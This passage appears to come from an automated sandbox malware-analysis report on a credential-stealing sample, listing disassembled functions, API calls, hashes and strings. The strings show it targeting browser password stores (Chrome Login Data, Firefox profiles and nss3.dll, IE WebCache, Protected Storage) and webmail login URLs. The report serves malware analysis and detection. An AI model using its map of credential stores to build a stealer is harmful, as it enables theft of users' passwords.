                                                                                                                • Part of subcall function 004038C4: LoadLibraryW.KERNEL32(advapi32.dll,?,00409AAA,?,https://login.yahoo.com/config/login,00000000,http://www.facebook.com/,00000000,https://www.google.com/accounts/servicelogin,00000000,?,00000000,?,0041018E,?,?), ref: 004038CF
                                                                                                                • Part of subcall function 004038C4: GetProcAddress.KERNEL32(00000000,CryptAcquireContextA,?,0041018E,?,?,?,?,0040328B,?), ref: 004038E3
                                                                                                                • Part of subcall function 004038C4: GetProcAddress.KERNEL32(?,CryptReleaseContext,?,0041018E,?,?,?,?,0040328B,?), ref: 004038EF
                                                                                                                • Part of subcall function 004038C4: GetProcAddress.KERNEL32(?,CryptCreateHash,?,0041018E,?,?,?,?,0040328B,?), ref: 004038FB
                                                                                                                • Part of subcall function 004038C4: GetProcAddress.KERNEL32(?,CryptGetHashParam,?,0041018E,?,?,?,?,0040328B,?), ref: 00403907
                                                                                                                • Part of subcall function 004038C4: GetProcAddress.KERNEL32(?,CryptHashData,?,0041018E,?,?,?,?,0040328B,?), ref: 00403913
                                                                                                                • Part of subcall function 004038C4: GetProcAddress.KERNEL32(?,CryptDestroyHash,?,0041018E,?,?,?,?,0040328B,?), ref: 0040391F
                                                                                                              • _wcslwr.MSVCRT ref: 00409AFC
                                                                                                              • wcslen.MSVCRT ref: 00409B11
                                                                                                              Strings
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000007.00000002.493817952.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_7_2_400000_vbc.jbxd
                                                                                                              Yara matches
                                                                                                              Similarity
                                                                                                              • API ID: AddressProc$freememset$CacheEntryEnumFindValuewcschr$ErrorFirstLastLibraryLoadNext_wcslwr_wcsuprwcslen
                                                                                                              • String ID: /$/$http://www.facebook.com/$https://login.yahoo.com/config/login$https://www.google.com/accounts/servicelogin
                                                                                                              • API String ID: 4091582287-4196376884
                                                                                                              • Opcode ID: 3dd2327b6272305899ca924f4fa588c8789c804827c02355519b96a796539c20
                                                                                                              • Instruction ID: 093a45ac9553ae88d2071121675ee446b985e814abadd75c8d2b77a0ae050712
                                                                                                              • Opcode Fuzzy Hash: 3dd2327b6272305899ca924f4fa588c8789c804827c02355519b96a796539c20
                                                                                                              • Instruction Fuzzy Hash: F731D872A1015466CB20BB6ACC4599F77A8AF80344B25087AF804B72C3CBBCEE45D699
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 00442D7A Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 25COMMON
                                                                                                              Download Yara Rule
                                                                                                              APIs
                                                                                                              Strings
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000007.00000002.493817952.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_7_2_400000_vbc.jbxd
                                                                                                              Yara matches
                                                                                                              Similarity
                                                                                                              • API ID: ??3@
                                                                                                              • String ID: HQ/$PU/$XY/
                                                                                                              • API String ID: 613200358-3237925357
                                                                                                              • Opcode ID: 44d13ece2455e6bf70e94478653814ebefdf6deeb09379604d67fc2da5a05fd3
                                                                                                              • Instruction ID: 4d75bcbf83e2a718e0a773ad5cf6a383805f84e699810b963ae7674306c23c36
                                                                                                              • Opcode Fuzzy Hash: 44d13ece2455e6bf70e94478653814ebefdf6deeb09379604d67fc2da5a05fd3
                                                                                                              • Instruction Fuzzy Hash: 05E080A1705301777A105B36BE55B0313EC3A703423D8041FF40AC3255DEBCC840441C
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 004090DF Relevance: 12.1, APIs: 6, Strings: 2, Instructions: 91COMMON
                                                                                                              Download Yara Rule
                                                                                                              APIs
                                                                                                              • memset.MSVCRT ref: 00409102
                                                                                                              • memset.MSVCRT ref: 0040911A
                                                                                                                • Part of subcall function 00412270: SHGetSpecialFolderPathW.SHELL32(00000000,00000000,0000001A,00000000), ref: 004122AA
                                                                                                              • wcslen.MSVCRT ref: 00409136
                                                                                                              • wcslen.MSVCRT ref: 00409145
                                                                                                              • wcslen.MSVCRT ref: 0040918C
                                                                                                              • wcslen.MSVCRT ref: 0040919B
                                                                                                                • Part of subcall function 004076A9: wcscpy.MSVCRT ref: 004076B1
                                                                                                                • Part of subcall function 004076A9: wcscat.MSVCRT ref: 004076C0
                                                                                                              Strings
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000007.00000002.493817952.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_7_2_400000_vbc.jbxd
                                                                                                              Yara matches
                                                                                                              Similarity
                                                                                                              • API ID: wcslen$memset$FolderPathSpecialwcscatwcscpy
                                                                                                              • String ID: Microsoft\Windows\WebCache\WebCacheV01.dat$Microsoft\Windows\WebCache\WebCacheV24.dat
                                                                                                              • API String ID: 2036768262-2114579845
                                                                                                              • Opcode ID: 9b210f72750b98862afc15587b3a75268b6b997e6569292da8b093e0b4a2481a
                                                                                                              • Instruction ID: 077c1189ed55963ee46c09665a9aee7869ceb3b17950e6b23e47196ee9b08e55
                                                                                                              • Opcode Fuzzy Hash: 9b210f72750b98862afc15587b3a75268b6b997e6569292da8b093e0b4a2481a
                                                                                                              • Instruction Fuzzy Hash: 0B21D972A4411D66E710E651DC85DDF73ACAF14354F5008BFF505E2082FAB89F844A6D
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 00441683 Relevance: 10.7, APIs: 1, Strings: 6, Instructions: 219COMMON
                                                                                                              Download Yara Rule
                                                                                                              APIs
                                                                                                              Strings
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000007.00000002.493817952.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_7_2_400000_vbc.jbxd
                                                                                                              Yara matches
                                                                                                              Similarity
                                                                                                              • API ID: memcpy
                                                                                                              • String ID: BINARY$NOCASE$RTRIM$main$no such vfs: %s$temp
                                                                                                              • API String ID: 3510742995-2641926074
                                                                                                              • Opcode ID: 12bdf7202536433b73b7b7e7b2d6f63e6cc165494f09a719a239059ada246e86
                                                                                                              • Instruction ID: 3c8b5220aebea45aa68cfe54a9ecef019ebf38e5b75abdf02c998a5d3c6681b4
                                                                                                              • Opcode Fuzzy Hash: 12bdf7202536433b73b7b7e7b2d6f63e6cc165494f09a719a239059ada246e86
                                                                                                              • Instruction Fuzzy Hash: 8E71D4B1600301BFF310AF16DCC1A6ABB98BB45318F14452FF459DB252D7B9A8D18B99
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 0040EDFA Relevance: 10.6, APIs: 5, Strings: 2, Instructions: 98COMMON
                                                                                                              Download Yara Rule
                                                                                                              APIs
                                                                                                                • Part of subcall function 0040F026: memset.MSVCRT ref: 0040F042
                                                                                                                • Part of subcall function 0040F026: memset.MSVCRT ref: 0040F057
                                                                                                                • Part of subcall function 0040F026: wcscat.MSVCRT ref: 0040F080
                                                                                                                • Part of subcall function 0040F026: wcscat.MSVCRT ref: 0040F0A9
                                                                                                              • memset.MSVCRT ref: 0040EE42
                                                                                                              • wcslen.MSVCRT ref: 0040EE59
                                                                                                              • wcslen.MSVCRT ref: 0040EE61
                                                                                                              • wcslen.MSVCRT ref: 0040EEBC
                                                                                                              • wcslen.MSVCRT ref: 0040EECA
                                                                                                                • Part of subcall function 004076A9: wcscpy.MSVCRT ref: 004076B1
                                                                                                                • Part of subcall function 004076A9: wcscat.MSVCRT ref: 004076C0
                                                                                                              Strings
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000007.00000002.493817952.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_7_2_400000_vbc.jbxd
                                                                                                              Yara matches
                                                                                                              Similarity
                                                                                                              • API ID: wcslen$memsetwcscat$wcscpy
                                                                                                              • String ID: history.dat$places.sqlite
                                                                                                              • API String ID: 2541527827-467022611
                                                                                                              • Opcode ID: 79052c9e259d4c4db0ec689992f98860fd40fbbfa98e25ce4c2c55694841dc80
                                                                                                              • Instruction ID: 5a7552f2f2193819142f663f69cd0b376b18013dc8e05bcebec127321fadfdaa
                                                                                                              • Opcode Fuzzy Hash: 79052c9e259d4c4db0ec689992f98860fd40fbbfa98e25ce4c2c55694841dc80
                                                                                                              • Instruction Fuzzy Hash: AD315232D0411DAADF10EBA6D845ACDB3B8AF00319F6048BBE514F21C1E77CAA45CF59
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 00410075 Relevance: 10.6, APIs: 5, Strings: 2, Instructions: 80COMMON
                                                                                                              Download Yara Rule
                                                                                                              APIs
                                                                                                              Strings
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000007.00000002.493817952.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_7_2_400000_vbc.jbxd
                                                                                                              Yara matches
                                                                                                              Similarity
                                                                                                              • API ID: wcslen$memsetwcscatwcscpy
                                                                                                              • String ID: Login Data$Web Data
                                                                                                              • API String ID: 3932597654-4228647177
                                                                                                              • Opcode ID: 350975586496b093848a9f674fd33517dd62bead458e0c7f943732b3c3b83fa5
                                                                                                              • Instruction ID: 391ffb8f75831278f4964df5f57522d74f6eb7522eeef9a3bb7e860aca09f0fd
                                                                                                              • Opcode Fuzzy Hash: 350975586496b093848a9f674fd33517dd62bead458e0c7f943732b3c3b83fa5
                                                                                                              • Instruction Fuzzy Hash: 3621B83294411C7BDB10AB55DC89ACA73ACAF10368F10487BF418E6181EBF9AEC48A5C
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 0040E0AC Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 64windowCOMMON
                                                                                                              Download Yara Rule
                                                                                                              APIs
                                                                                                              • ??2@YAPAXI@Z.MSVCRT ref: 0040E0CE
                                                                                                              • ??2@YAPAXI@Z.MSVCRT ref: 0040E0F7
                                                                                                              • DeleteObject.GDI32(?), ref: 0040E129
                                                                                                              • GetModuleHandleW.KERNEL32(00000000,00000000,?,?,00000000,0040E36A), ref: 0040E171
                                                                                                              • LoadIconW.USER32 ref: 0040E17A
                                                                                                              Strings
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000007.00000002.493817952.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_7_2_400000_vbc.jbxd
                                                                                                              Yara matches
                                                                                                              Similarity
                                                                                                              • API ID: ??2@$DeleteHandleIconLoadModuleObject
                                                                                                              • String ID: (/
                                                                                                              • API String ID: 659443934-314378095
                                                                                                              • Opcode ID: 8011550206ddb2dc108774534a209f3a3ccfe9b7d84422505c829ce805c5916c
                                                                                                              • Instruction ID: 1cba439d4a63bd06fd13ecdd31e81b6a0d9710d4e5327182bdbee0994cb59d35
                                                                                                              • Opcode Fuzzy Hash: 8011550206ddb2dc108774534a209f3a3ccfe9b7d84422505c829ce805c5916c
                                                                                                              • Instruction Fuzzy Hash: 322193B19012989FDB30EF768C496DEB7A9AF84715F10863BF80CDB241DF794A118B58
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 00409F53 Relevance: 10.6, APIs: 4, Strings: 3, Instructions: 51COMMON
                                                                                                              Download Yara Rule
                                                                                                              APIs
                                                                                                              Strings
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000007.00000002.493817952.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_7_2_400000_vbc.jbxd
                                                                                                              Yara matches
                                                                                                              Similarity
                                                                                                              • API ID: ??2@
                                                                                                              • String ID: HQ/$PU/$XY/
                                                                                                              • API String ID: 1033339047-3237925357
                                                                                                              • Opcode ID: 6aa46ae1d8c9445a9210858e0e2028d810c6148e0e2ef15dbc7156f8f0a2735d
                                                                                                              • Instruction ID: 97910a1e78d05b4995072b8892bf30812772bdb2f497aa37043254e3fee4362a
                                                                                                              • Opcode Fuzzy Hash: 6aa46ae1d8c9445a9210858e0e2028d810c6148e0e2ef15dbc7156f8f0a2735d
                                                                                                              • Instruction Fuzzy Hash: AB01DEB16523406FEB58DB39EE67B2A66949B58351F48453EF207C91F6EAB4C840CA08
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 00415BAE Relevance: 9.1, APIs: 6, Instructions: 140fileCOMMON
                                                                                                              Download Yara Rule
                                                                                                              APIs
                                                                                                              • CreateFileW.KERNELBASE(?,-7FBEAA6E,00000003,00000000,?,?,00000000), ref: 00415C86
                                                                                                              • CreateFileA.KERNEL32(?,-7FBEAA6E,00000003,00000000,00415512,00415512,00000000), ref: 00415C9E
                                                                                                              • GetLastError.KERNEL32 ref: 00415CAD
                                                                                                              • free.MSVCRT(?), ref: 00415CBA
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000007.00000002.493817952.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_7_2_400000_vbc.jbxd
                                                                                                              Yara matches
                                                                                                              Similarity
                                                                                                              • API ID: CreateFile$ErrorLastfree
                                                                                                              • String ID:
                                                                                                              • API String ID: 77810686-0
                                                                                                              • Opcode ID: d3d8bbc7ba5a79f8a342b38920b53c153f9ef9857e0a0710124ad1068db44a69
                                                                                                              • Instruction ID: e414679dc355763f7cb5844f7b2dc3c916de6b309c6ec43d815c5638ef366406
                                                                                                              • Opcode Fuzzy Hash: d3d8bbc7ba5a79f8a342b38920b53c153f9ef9857e0a0710124ad1068db44a69
                                                                                                              • Instruction Fuzzy Hash: 7741D0B1508701EFE7109F25EC4169BBBE5EFC4324F14892EF49596290E378D9848B96
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 0040F026 Relevance: 9.1, APIs: 4, Strings: 2, Instructions: 57COMMON
                                                                                                              Download Yara Rule
                                                                                                              APIs
                                                                                                              • memset.MSVCRT ref: 0040F042
                                                                                                              • memset.MSVCRT ref: 0040F057
                                                                                                                • Part of subcall function 00412270: SHGetSpecialFolderPathW.SHELL32(00000000,00000000,0000001A,00000000), ref: 004122AA
                                                                                                                • Part of subcall function 0040719A: wcslen.MSVCRT ref: 0040719B
                                                                                                                • Part of subcall function 0040719A: wcscat.MSVCRT ref: 004071B3
                                                                                                              • wcscat.MSVCRT ref: 0040F080
                                                                                                                • Part of subcall function 00412270: memset.MSVCRT ref: 004122C9
                                                                                                                • Part of subcall function 00412270: RegCloseKey.ADVAPI32(?), ref: 00412330
                                                                                                                • Part of subcall function 00412270: wcscpy.MSVCRT ref: 0041233E
                                                                                                              • wcscat.MSVCRT ref: 0040F0A9
                                                                                                              Strings
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000007.00000002.493817952.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_7_2_400000_vbc.jbxd
                                                                                                              Yara matches
                                                                                                              Similarity
                                                                                                              • API ID: memsetwcscat$CloseFolderPathSpecialwcscpywcslen
                                                                                                              • String ID: Mozilla\Firefox\Profiles$Mozilla\Profiles
                                                                                                              • API String ID: 1534475566-1174173950
                                                                                                              • Opcode ID: b40f1a29007ee88b205eab30251de60a7177f83a5dcce95581a050599bf5dc33
                                                                                                              • Instruction ID: 125a097a9f26af6413fbc01dcc411eb2579d6a3fd62fad3348166db73649eeaa
                                                                                                              • Opcode Fuzzy Hash: b40f1a29007ee88b205eab30251de60a7177f83a5dcce95581a050599bf5dc33
                                                                                                              • Instruction Fuzzy Hash: BF018EB294021C75DB207B668C86ECF732CDF45358F1044BEB504E7182D9B88E888AA9
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 00412270 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 77registryCOMMON
                                                                                                              Download Yara Rule
                                                                                                              APIs
                                                                                                                • Part of subcall function 004121C3: LoadLibraryW.KERNEL32(shell32.dll,0040E314,00000000,?,00000002), ref: 004121D1
                                                                                                                • Part of subcall function 004121C3: GetProcAddress.KERNEL32(00000000,SHGetSpecialFolderPathW,?,00000002), ref: 004121E6
                                                                                                              • SHGetSpecialFolderPathW.SHELL32(00000000,00000000,0000001A,00000000), ref: 004122AA
                                                                                                              • memset.MSVCRT ref: 004122C9
                                                                                                              • RegCloseKey.ADVAPI32(?), ref: 00412330
                                                                                                              • wcscpy.MSVCRT ref: 0041233E
                                                                                                                • Part of subcall function 00407674: GetVersionExW.KERNEL32(00450DA8,0000001A,00412291), ref: 0040768E
                                                                                                              Strings
                                                                                                              • Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders, xrefs: 004122E4, 004122F4
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000007.00000002.493817952.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_7_2_400000_vbc.jbxd
                                                                                                              Yara matches
                                                                                                              Similarity
                                                                                                              • API ID: AddressCloseFolderLibraryLoadPathProcSpecialVersionmemsetwcscpy
                                                                                                              • String ID: Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders
                                                                                                              • API String ID: 2699640517-2036018995
                                                                                                              • Opcode ID: 8aa1c296ea3474e2dfe36853c464223883ab1e14a4a678ade25f000c0903f040
                                                                                                              • Instruction ID: c2720df25ff2a98c700ebd4409fa2125fd2182e4a6debc52b8ada4298b6a052e
                                                                                                              • Opcode Fuzzy Hash: 8aa1c296ea3474e2dfe36853c464223883ab1e14a4a678ade25f000c0903f040
                                                                                                              • Instruction Fuzzy Hash: 29110831800114BAEB24E7599E4EEEF737CEB05304F5100E7F914E2151E6B85FE5969E
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 00411A13 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 43COMMON
                                                                                                              Download Yara Rule
                                                                                                              APIs
                                                                                                              • wcschr.MSVCRT ref: 00411A2D
                                                                                                              • _snwprintf.MSVCRT ref: 00411A52
                                                                                                              • WritePrivateProfileStringW.KERNEL32 ref: 00411A70
                                                                                                              • GetPrivateProfileStringW.KERNEL32(?,?,0040F73A,?,00000000,004495A0), ref: 00411A88
                                                                                                              Strings
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000007.00000002.493817952.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_7_2_400000_vbc.jbxd
                                                                                                              Yara matches
                                                                                                              Similarity
                                                                                                              • API ID: PrivateProfileString$Write_snwprintfwcschr
                                                                                                              • String ID: "%s"
                                                                                                              • API String ID: 1343145685-3297466227
                                                                                                              • Opcode ID: 1379250297118e4f09543b187cbc7d5db4505a0d7fe81e2b8f9beab2005c4772
                                                                                                              • Instruction ID: ae5f1e9df6cd2f4a0780795b96407545f38e06b3c9618b8e9942ee44aab69889
                                                                                                              • Opcode Fuzzy Hash: 1379250297118e4f09543b187cbc7d5db4505a0d7fe81e2b8f9beab2005c4772
                                                                                                              • Instruction Fuzzy Hash: 2101283240521ABAEF219F81EC05FDA3A6AFF04785F104066BA1960161D779C661EB98
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 00411140 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 27libraryloadertimeCOMMON
                                                                                                              Download Yara Rule
                                                                                                              APIs
                                                                                                              • GetModuleHandleW.KERNEL32(kernel32.dll,?,004112EE,?,?,?,?,?,00000000,?), ref: 00411151
                                                                                                              • GetProcAddress.KERNEL32(00000000,GetProcessTimes), ref: 0041116B
                                                                                                              • GetProcessTimes.KERNELBASE(00000000,?,?,?,?,?,004112EE,?,?,?,?,?,00000000,?), ref: 0041118E
                                                                                                              Strings
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000007.00000002.493817952.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_7_2_400000_vbc.jbxd
                                                                                                              Yara matches
                                                                                                              Similarity
                                                                                                              • API ID: AddressHandleModuleProcProcessTimes
                                                                                                              • String ID: GetProcessTimes$kernel32.dll
                                                                                                              • API String ID: 1714573020-3385500049
                                                                                                              • Opcode ID: 464f22052b3d8a0ba402789ad02750f959a9c2b374b1230dcbafe23b26c1554b
                                                                                                              • Instruction ID: be5b0e9885743e8d30da273d8ef78610b28524ab18dcfae55e11e98fa027414b
                                                                                                              • Opcode Fuzzy Hash: 464f22052b3d8a0ba402789ad02750f959a9c2b374b1230dcbafe23b26c1554b
                                                                                                              • Instruction Fuzzy Hash: 4FF01C35104308AFEB128FA0EC04B967BA9BB08749F048425F608C1671C775C9A0DF58
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 0041C9D5 Relevance: 7.7, APIs: 3, Strings: 2, Instructions: 165COMMON
                                                                                                              Download Yara Rule
                                                                                                              APIs
                                                                                                              Strings
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000007.00000002.493817952.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_7_2_400000_vbc.jbxd
                                                                                                              Yara matches
                                                                                                              Similarity
                                                                                                              • API ID: memcmp
                                                                                                              • String ID: @ $SQLite format 3
                                                                                                              • API String ID: 1475443563-3708268960
                                                                                                              • Opcode ID: 995df855505f47d3fff5b3ee1df3959e9c0b6b49e494aa249aa3272b4713cf3f
                                                                                                              • Instruction ID: bd67d5102a3eb66ea4de4e64a8b31fca419cb069452d494a6197ab8253893597
                                                                                                              • Opcode Fuzzy Hash: 995df855505f47d3fff5b3ee1df3959e9c0b6b49e494aa249aa3272b4713cf3f
                                                                                                              • Instruction Fuzzy Hash: D351D1719442149FDF10DF69C8827EAB7F4AF44314F14019BE804EB346E778EA85CB99
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 004063C1 Relevance: 7.6, APIs: 4, Strings: 1, Instructions: 65COMMON
                                                                                                              Download Yara Rule
                                                                                                              APIs
                                                                                                              Strings
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000007.00000002.493817952.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_7_2_400000_vbc.jbxd
                                                                                                              Yara matches
                                                                                                              Similarity
                                                                                                              • API ID: memsetwcslen$wcscatwcscpy
                                                                                                              • String ID: nss3.dll
                                                                                                              • API String ID: 1250441359-2492180550
                                                                                                              • Opcode ID: 539cc7b2b5a1ca4a5cded3f0901bcdf604bea04d283746a690f02e85a837d118
                                                                                                              • Instruction ID: 7e6fc29c8000acf8dfdc2cef167c58109b3e52db234c734628f4c22aee9d38d0
                                                                                                              • Opcode Fuzzy Hash: 539cc7b2b5a1ca4a5cded3f0901bcdf604bea04d283746a690f02e85a837d118
                                                                                                              • Instruction Fuzzy Hash: E711ECB2D0421DAADB10E750DD45BCA73EC9F10314F1004B7F60CE20C2F778AA548A9D
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 00408FA4 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 87fileCOMMON
                                                                                                              Download Yara Rule
                                                                                                              APIs
                                                                                                                • Part of subcall function 00408B10: OpenProcess.KERNEL32(00000040,00000000,?,00000104,00000000,?,00000104,00000000,00000000,00000104,Microsoft\Windows\WebCache\WebCacheV01.dat), ref: 00408B85
                                                                                                                • Part of subcall function 00408B10: GetCurrentProcess.KERNEL32(00000000,80000000,00000000,00000000), ref: 00408BA4
                                                                                                                • Part of subcall function 00408B10: DuplicateHandle.KERNEL32 ref: 00408BB1
                                                                                                                • Part of subcall function 00408B10: GetFileSize.KERNEL32(00000000,00000000), ref: 00408BC6
                                                                                                                • Part of subcall function 00408B10: CreateFileMappingW.KERNELBASE(00000000,00000000,00000002,00000000,00000000,00000000), ref: 00408BF0
                                                                                                                • Part of subcall function 00408B10: MapViewOfFile.KERNELBASE(00000000,00000004,00000000,00000000,00000104), ref: 00408C05
                                                                                                                • Part of subcall function 00408B10: WriteFile.KERNELBASE(?,00000000,00000104,004091EB,00000000), ref: 00408C20
                                                                                                                • Part of subcall function 00408B10: UnmapViewOfFile.KERNELBASE(00000000), ref: 00408C27
                                                                                                                • Part of subcall function 00408B10: CloseHandle.KERNELBASE(?), ref: 00408C30
                                                                                                              • CloseHandle.KERNELBASE(000000FF), ref: 00409074
                                                                                                                • Part of subcall function 00408D9D: memset.MSVCRT ref: 00408E72
                                                                                                                • Part of subcall function 00408D9D: wcschr.MSVCRT ref: 00408EAA
                                                                                                                • Part of subcall function 00408D9D: memcpy.MSVCRT ref: 00408EDE
                                                                                                              • DeleteFileW.KERNELBASE(?,?,004091EB,000000FF,00000000,00000104,Microsoft\Windows\WebCache\WebCacheV01.dat), ref: 00409095
                                                                                                              • CloseHandle.KERNEL32(000000FF), ref: 004090BC
                                                                                                                • Part of subcall function 00408C67: memset.MSVCRT ref: 00408CAF
                                                                                                                • Part of subcall function 00408C67: _snwprintf.MSVCRT ref: 00408D49
                                                                                                                • Part of subcall function 00408C67: free.MSVCRT(000000FF,?,000000FF,00000000,00000104,74EC13E0), ref: 00408D7D
                                                                                                              Strings
                                                                                                              • Microsoft\Windows\WebCache\WebCacheV01.dat, xrefs: 00408FB4
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000007.00000002.493817952.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_7_2_400000_vbc.jbxd
                                                                                                              Yara matches
                                                                                                              Similarity
                                                                                                              • API ID: File$Handle$Close$ProcessViewmemset$CreateCurrentDeleteDuplicateMappingOpenSizeUnmapWrite_snwprintffreememcpywcschr
                                                                                                              • String ID: Microsoft\Windows\WebCache\WebCacheV01.dat
                                                                                                              • API String ID: 1979745280-1514811420
                                                                                                              • Opcode ID: 296897d7b9fc56a1ed802aa42710325314df0d67c48e9c21b811ee4e31976f5b
                                                                                                              • Instruction ID: f61eabc5127fffa0127996e1b9e76e3c42d0daca9916cdcd83e0194a9dfe4be1
                                                                                                              • Opcode Fuzzy Hash: 296897d7b9fc56a1ed802aa42710325314df0d67c48e9c21b811ee4e31976f5b
                                                                                                              • Instruction Fuzzy Hash: 10314CB1C006289BCF60DFA5CD855CEFBB8AF40315F1002ABA518B31A2DB756E85CF59
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 0040CFDE Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 68COMMON
                                                                                                              Download Yara Rule
                                                                                                              APIs
                                                                                                              Strings
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000007.00000002.493817952.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_7_2_400000_vbc.jbxd
                                                                                                              Yara matches
                                                                                                              Similarity
                                                                                                              • API ID: _wcsicmpqsort
                                                                                                              • String ID: /nosort$/sort
                                                                                                              • API String ID: 1579243037-1578091866
                                                                                                              • Opcode ID: b8bcc0ce675c29f22b0227198f2ab65a41989cf9845e13ce1ccf23b6e43e1f16
                                                                                                              • Instruction ID: 426287280b2395c37d482f654794667c251e21b6a2c3e86ec69022cc6db77350
                                                                                                              • Opcode Fuzzy Hash: b8bcc0ce675c29f22b0227198f2ab65a41989cf9845e13ce1ccf23b6e43e1f16
                                                                                                              • Instruction Fuzzy Hash: 4821F8317006019FD714AB75C981E55B3A9FF95318F01053EF519A72D2CB7ABC11CB9A
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 00409EB8 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 34libraryloaderCOMMON
                                                                                                              Download Yara Rule
                                                                                                              APIs
                                                                                                                • Part of subcall function 004117E3: FreeLibrary.KERNELBASE(?,00409EC4,00000000,004101A5,?,?,?,?,?,0040328B,?), ref: 004117EF
                                                                                                              • LoadLibraryW.KERNEL32(pstorec.dll,00000000,004101A5,?,?,?,?,?,0040328B,?), ref: 00409EC9
                                                                                                              • GetProcAddress.KERNEL32(00000000,PStoreCreateInstance,?,?,0040328B,?), ref: 00409EDC
                                                                                                              Strings
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000007.00000002.493817952.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
